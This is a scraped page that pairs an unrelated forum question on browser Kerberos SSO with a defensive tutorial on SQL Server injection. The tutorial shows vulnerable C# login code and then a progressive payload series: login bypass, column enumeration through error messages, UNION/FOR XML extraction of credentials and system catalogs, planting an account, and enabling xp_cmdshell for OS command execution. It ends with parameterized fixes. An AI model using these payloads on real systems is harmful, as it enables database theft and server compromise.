    I'm installing a bunch of web apps for the office, and one of the wants would be Kerberos-managed SSO. Now, I have found some information on the matter, and I wondered, what browsers integrate Kerberos SSO? Of course I could just use the underlying web app to authenticate in case of lack of Kerberos capability, which is exactly the plan, but I'd like to know which browsers would work for that, so I can plan ahead and decide if it's even worth it to do that, which I believe it would considering that one of the web apps I'm implementing will be an ERP.

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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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